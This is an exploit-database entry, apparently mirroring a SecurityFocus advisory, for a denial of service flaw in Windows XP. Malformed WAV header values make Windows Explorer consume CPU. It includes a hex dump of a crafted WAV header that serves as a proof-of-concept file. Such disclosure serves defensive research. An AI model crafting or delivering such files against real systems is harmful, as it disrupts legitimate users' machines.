Denial of Service Vulnerability in Microsoft Windows XP

vendor:

Windows XP

by:

Unknown

5.5

CVSS

MEDIUM

Denial of Service

Unknown

CWE

Product Name: Windows XP

Affected Version From: Windows XP

Affected Version To: Windows XP

Patch Exists: NO

Related CWE: Unknown

CPE: o:microsoft:windows_xp

Metasploit:

Other Scripts:

Platforms Tested: Windows

Unknown

Denial of Service Vulnerability in Microsoft Windows XP

The vulnerability exists due to a lack of sufficient sanitization performed on WAV file header values before they are processed. An attacker can exploit this vulnerability to cause the Windows Explorer process to consume CPU resources, resulting in a denial of service condition.

Mitigation:

Unknown

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/11503/info

Microsoft Windows XP is reported prone to a denial of service vulnerability. The issue exists due to a lack of sufficient sanitization performed on WAV file header values before they are processed. 

If an exploit attempt is successful, the Windows Explorer process will begin to consume CPU resources. An attacker may exploit this vulnerability to deny service to legitimate users.

00000000 52 49 46 46 42 D0 01 00 57 41 56 45 66 6D 74 20 RIFFB...WAVEfmt
00000010 FF FF FF FF 01 00 02 00 22 56 00 00 88 58 01 00 .........V...X..
00000020 04 00 10 00 00 00 66 61 63 74 04 00 00 00 04 74 ......fact.....t
00000030 00 00 64 61 74 61 10 D0 01 00 ..data....